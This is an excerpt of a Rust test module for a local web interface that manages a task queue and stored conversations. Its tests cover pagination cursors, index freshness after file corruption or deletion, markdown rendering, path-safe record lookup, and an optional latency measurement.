24179 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
24180 let (tasks, talks, _watches) =
24181 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24182 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
24183 }
24184
24185 #[test]
24186 fn list_cursors_freeze_membership_and_expire_explicitly() {
24187 let home = tempfile::tempdir().unwrap();
24188 let ui = delta_test_ui(home.path());
24189 std::fs::create_dir_all(ui.queue.root()).unwrap();
24190 for i in 0..40 {
24191 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
24192 }
24193 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
24194 assert_eq!(first.len(), STORE_PAGE_SIZE);
24195 let cursor = cursor.unwrap();
24196 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
24197 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
24198 let (second, _) = page_ids(
24199 &ui,
24200 false,
24201 PageQuery {
24202 before: Some(cursor.clone()),
24203 },
24204 )
24205 .unwrap();
24206 assert_eq!(second[0], "record-0023");
24207 assert!(second.iter().all(|id| !first.contains(id)));
24208 assert!(
24209 page_ids(
24210 &ui,
24211 true,
24212 PageQuery {
24213 before: Some(cursor.clone())
24214 }
24215 )
24216 .is_err()
24217 );
24218 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
24219 assert_eq!(fresh[0], "record-9999");
24220 ui.monitor.list_walks.lock().unwrap().clear();
24221 assert!(
24222 page_ids(
24223 &ui,
24224 false,
24225 PageQuery {
24226 before: Some(cursor)
24227 }
24228 )
24229 .is_err()
24230 );
24231 }
24232
24233 #[tokio::test]
24234 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
24235 let home = tempfile::tempdir().unwrap();
24236 let ui = delta_test_ui(home.path());
24237 let mut task = Task::new(
24238 "task".into(),
24239 "body".into(),
24240 PathBuf::from("/repo"),
24241 Source::Human,
24242 );
24243 ui.queue.put(&mut task).unwrap();
24244 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24245 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24246 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24247 let expected = parsed + usize::from(!cfg!(unix));
24248 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24249 task.status = crate::queue::TaskStatus::Held;
24250 ui.queue.put(&mut task).unwrap();
24251 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24252 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24253 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
24254 ui.queue.put(&mut task).unwrap();
24255 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24256 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24257 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
24258 }
24259
24260 #[tokio::test]
24261 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
24262 let home = tempfile::tempdir().unwrap();
24263 let ui = delta_test_ui(home.path());
24264 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24265 let before = health(State(ui.clone())).await.unwrap().0;
24266 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
24267 let after = health(State(ui)).await.unwrap().0;
24268 assert_ne!(before.notifications_rev, after.notifications_rev);
24269 assert_eq!(after.notifications_unread, 1);
24270 }
24271
24272 #[tokio::test]
24273 async fn list_pages_bound_history_and_keep_dependency_evidence() {
24274 let home = tempfile::tempdir().unwrap();
24275 let ui = delta_test_ui(home.path());
24276 let queue = &ui.queue;
24277 let talks = &ui.talks;
24278 for i in 0..1000 {
24279 let id = format!("20261019-{i:06}-page");
24280 let mut task = Task::new(
24281 "task".into(),
24282 "instruction".repeat(100),
24283 PathBuf::from("/repo/magi"),
24284 Source::Human,
24285 );
24286 task.id = id.clone();
24287 if i == 0 {
24288 task.status = crate::queue::TaskStatus::Held;
24289 } else if i == 999 {
24290 task.status = crate::queue::TaskStatus::Blocked;
24291 task.blocked_by = vec!["20261019-000000-page".into()];
24292 }
24293 queue.put(&mut task).unwrap();
24294 seed_talk_at(talks, &id, "open");
24295 }
24296 let page = serde_json::to_value(
24297 queue_page(State(ui.clone()), Query(PageQuery::default()))
24298 .await
24299 .unwrap()
24300 .0,
24301 )
24302 .unwrap();
24303 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24304 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
24305 assert!(
24306 !page["rows"][0]["stuck_roots"]
24307 .as_array()
24308 .unwrap()
24309 .is_empty()
24310 );
24311 let cursor = page["next"].as_str().unwrap();
24312 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
24313 .as_str()
24314 .unwrap();
24315 std::fs::remove_file(queue.path_of(last_id)).unwrap();
24317 let next = serde_json::to_value(
24318 queue_page(
24319 State(ui.clone()),
24320 Query(PageQuery {
24321 before: Some(cursor.into()),
24322 }),
24323 )
24324 .await
24325 .unwrap()
24326 .0,
24327 )
24328 .unwrap();
24329 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24330 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
24331 let chats = serde_json::to_value(
24332 talks_page(State(ui.clone()), Query(PageQuery::default()))
24333 .await
24334 .unwrap()
24335 .0,
24336 )
24337 .unwrap();
24338 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24339 assert!(chats["rows"][0].get("pending").is_none());
24340 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
24341 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
24342 assert_eq!(counts["held"], 1);
24343 assert_eq!(counts["blocked"], 1);
24344 assert_eq!(counts["queued"], 997);
24345 }
24346
24347 #[test]
24348 fn queue_index_observes_external_replacement_deletion_and_corruption() {
24349 let dir = tempfile::tempdir().unwrap();
24350 let ui = delta_test_ui(dir.path());
24351 let mut task = Task::new(
24352 "task".into(),
24353 "body".into(),
24354 PathBuf::from("/repo"),
24355 Source::Human,
24356 );
24357 task.runs = vec!["run-a".into()];
24358 ui.queue.put(&mut task).unwrap();
24359 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
24360 task.runs = vec!["run-b".into()];
24361 let path = ui.queue.path_of(&task.id);
24362 let modified = path.metadata().unwrap().modified().unwrap();
24363 let replacement = path.with_extension("replacement");
24364 let bytes = serde_json::to_vec_pretty(&task).unwrap();
24365 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
24366 std::fs::write(&replacement, &bytes).unwrap();
24367 std::fs::File::options()
24368 .write(true)
24369 .open(&replacement)
24370 .unwrap()
24371 .set_times(std::fs::FileTimes::new().set_modified(modified))
24372 .unwrap();
24373 std::fs::rename(&replacement, &path).unwrap();
24374 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
24375 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24376 std::fs::write(&path, "broken").unwrap();
24377 assert!(ui.find_task_for_run("run-b").is_err());
24378 std::fs::write(&path, bytes).unwrap();
24379 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24380 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24381 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24382 }
24383
24384 #[tokio::test]
24385 async fn conversation_core_is_independent_of_unreadable_related_history() {
24386 let home = tempfile::tempdir().unwrap();
24387 let ui = delta_test_ui(home.path());
24388 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24389 std::fs::create_dir_all(ui.queue.root()).unwrap();
24390 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24391 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24392 .await
24393 .unwrap();
24394 assert_eq!(core.talk.id, id);
24395 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24396 }
24397
24398 #[tokio::test]
24399 async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
24400 let home = tempfile::tempdir().unwrap();
24401 let ui = delta_test_ui(home.path());
24402 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
24403 let mut task = Task::new(
24404 "Referenced task".into(),
24405 "Unrelated instruction history".repeat(1024),
24406 home.path().into(),
24407 Source::Human,
24408 );
24409 task.id = "20261019-000000-abcd".into();
24410 ui.queue.put(&mut task).unwrap();
24411 let mut conversation = ui.talks.get(&id).unwrap();
24412 conversation.turns.push(talk::Turn {
24413 sender: Some(talk::Sender::Persona),
24414 who: talk::Who::Agent,
24415 body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
24416 at: conversation.created_at,
24417 attachments: Vec::new(),
24418 usage: None,
24419 breaks: None,
24420 messages: Vec::new(),
24421 posted_by: None,
24422 });
24423 ui.talks.put(&mut conversation).unwrap();
24424
24425 let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
24426 let markdown = serde_json::to_value(&core.turn_bodies_md)
24427 .unwrap()
24428 .to_string();
24429 assert!(markdown.contains("\"strong\""));
24430 assert!(markdown.contains("\"table\""));
24431 assert!(markdown.contains("\"bullet_list\""));
24432 assert!(markdown.contains("\"code_block\""));
24433 assert!(!markdown.contains("\"internal_link\""));
24434 assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
24435 assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
24436 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24437
24438 let references = ui.references.for_talk(home.path(), &conversation);
24441 let mut decorated = core.turn_bodies_md[0].clone();
24442 references.markdown(&mut decorated);
24443 let decorated = serde_json::to_value(decorated).unwrap().to_string();
24444 assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
24445 assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
24446 assert_eq!(
24447 ui.talks.get(&conversation.id).unwrap().turns[0].body,
24448 conversation.turns[0].body
24449 );
24450 }
24451
24452 #[tokio::test]
24453 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24454 let home = tempfile::tempdir().unwrap();
24455 let ui = delta_test_ui(home.path());
24456 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24457 let mut run = RunState::new(
24458 PathBuf::from("/repo"),
24459 "main".into(),
24460 "01234567".into(),
24461 "Useful run".into(),
24462 Config::default(),
24463 );
24464 run.save_under(home.path()).unwrap();
24465 let mut task = Task::new(
24466 "Related".into(),
24467 "body".into(),
24468 PathBuf::from("/repo"),
24469 Source::Agent {
24470 run: talk_id.clone(),
24471 node: "chat".into(),
24472 },
24473 );
24474 task.runs = vec![run.id.clone()];
24475 ui.queue.put(&mut task).unwrap();
24476 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24477 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24478 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24479 assert!(
24480 run_detail(State(ui.clone()), Path(run.id.clone()))
24481 .await
24482 .is_ok()
24483 );
24484 assert!(
24485 talk_sections(State(ui.clone()), Path(talk_id.clone()))
24486 .await
24487 .is_ok()
24488 );
24489 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24491 assert!(ui.find_task_for_run(&run.id).is_err());
24492 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24493 ui.queue.put(&mut task).unwrap();
24494 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24495 }
24496
24497 #[tokio::test]
24498 async fn conversation_sections_omit_large_task_instructions() {
24499 let home = tempfile::tempdir().unwrap();
24500 let ui = delta_test_ui(home.path());
24501 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24502 let mut task = Task::new(
24503 "filed task".into(),
24504 "large instruction ".repeat(65536),
24505 PathBuf::from("/repo"),
24506 Source::Agent {
24507 run: id.clone(),
24508 node: "chat".into(),
24509 },
24510 );
24511 ui.queue.put(&mut task).unwrap();
24512 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24513 assert_eq!(sections["tasks"][0]["id"], task.id);
24514 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24515 assert!(sections["tasks"][0].get("instruction").is_none());
24516 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
24517 }
24518
24519 #[test]
24520 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24521 let home = tempfile::tempdir().unwrap();
24522 let talks = Talks::at(home.path().join("talks"));
24523 seed_talk_at(&talks, "20261019-000001-abcd", "open");
24524 seed_talk_at(&talks, "20261019-000002-abcd", "open");
24525 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24526 assert!(resolve_talk(&talks, "../outside").is_err());
24527 assert!(resolve_talk(&talks, "abcd").is_err());
24528 assert_eq!(
24529 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24530 "20261019-000001-abcd"
24531 );
24532 }
24533
24534 include!(concat!(
24535 env!("CARGO_MANIFEST_DIR"),
24536 "/tests/web_latency/baseline.rs"
24537 ));
24538
24539 include!(concat!(
24540 env!("CARGO_MANIFEST_DIR"),
24541 "/tests/web_latency/lists.rs"
24542 ));
24543
24544 #[tokio::test]
24545 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24546 async fn web_history_latency_measurement() {
24547 use std::time::Instant;
24548 let home = tempfile::tempdir().unwrap();
24549 let ui = delta_test_ui(home.path());
24550 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24551 let mut template = ui.talks.get(&id).unwrap();
24552 template.turns = serde_json::from_value(serde_json::json!([{
24553 "who": "operator", "body": "Show the accumulated work and its current status.",
24554 "at": Timestamp::now().to_string(),
24555 }]))
24556 .unwrap();
24557 std::fs::write(
24558 ui.talks.path_of(&id),
24559 serde_json::to_vec(&template).unwrap(),
24560 )
24561 .unwrap();
24562 let count = std::env::var("MAGI_BENCH_RECORDS")
24563 .ok()
24564 .and_then(|s| s.parse::<usize>().ok())
24565 .unwrap_or(1000);
24566 for i in 0..count {
24567 template.id = format!("20261019-{i:06}-history");
24568 template.pending = "history ".repeat(2048);
24569 std::fs::write(
24570 ui.talks.path_of(&template.id),
24571 serde_json::to_vec(&template).unwrap(),
24572 )
24573 .unwrap();
24574 let mut task = Task::new(
24575 "old task".into(),
24576 "instruction ".repeat(2048),
24577 PathBuf::from("/repo"),
24578 Source::Human,
24579 );
24580 task.id = format!("20261019-{i:06}-task");
24581 ui.queue.put(&mut task).unwrap();
24582 }
24583 for baseline in [true, false] {
24584 for clients in [1, 4] {
24585 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
24586 let mut samples = Vec::new();
24587 for _ in 0..12 {
24588 let mut jobs = Vec::new();
24589 for _ in 0..clients {
24590 let ui = ui.clone();
24591 let id = id.clone();
24592 jobs.push(tokio::spawn(async move {
24593 let start = Instant::now();
24594 if baseline {
24595 let response =
24596 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
24597 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
24598 return (
24599 elapsed,
24600 elapsed,
24601 serde_json::to_vec(&response).unwrap().len(),
24602 );
24603 }
24604 let core = talk_core(State(ui.clone()), Path(id.clone()));
24605 let secondary = talk_sections(State(ui), Path(id));
24606 let (first, total) = tokio::join!(
24607 async {
24608 let value = core.await.unwrap().0;
24609 (
24610 start.elapsed().as_secs_f64() * 1000.0,
24611 serde_json::to_vec(&value).unwrap().len(),
24612 )
24613 },
24614 async {
24615 let value = secondary.await.unwrap().0;
24616 (
24617 start.elapsed().as_secs_f64() * 1000.0,
24618 serde_json::to_vec(&value).unwrap().len(),
24619 )
24620 }
24621 );
24622 (first.0, first.0.max(total.0), first.1 + total.1)
24623 }));
24624 }
24625 for job in jobs {
24626 samples.push(job.await.unwrap());
24627 }
24628 }
24629 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
24630 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
24631 first.sort_by(f64::total_cmp);
24632 total.sort_by(f64::total_cmp);
24633 let n = first.len();
24634 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
24635 println!(
24636 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
24637 first[n / 2],
24638 first[(n * 95 / 100).min(n - 1)],
24639 total[n / 2],
24640 total[(n * 95 / 100).min(n - 1)],
24641 samples[0].2
24642 );
24643 }
24644 }
24645 }
24646
24647 #[test]
24648 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
24649 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
24651 assert!(APP_JS.contains("function nextRunRequest(id)"));
24652 assert!(APP_JS.contains("function runShell(id, summary)"));
24653 assert!(APP_JS.contains("function nextTaskRequest(id)"));
24654 assert!(APP_JS.contains("function taskShell(id, summary)"));
24655 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24656 }
24657}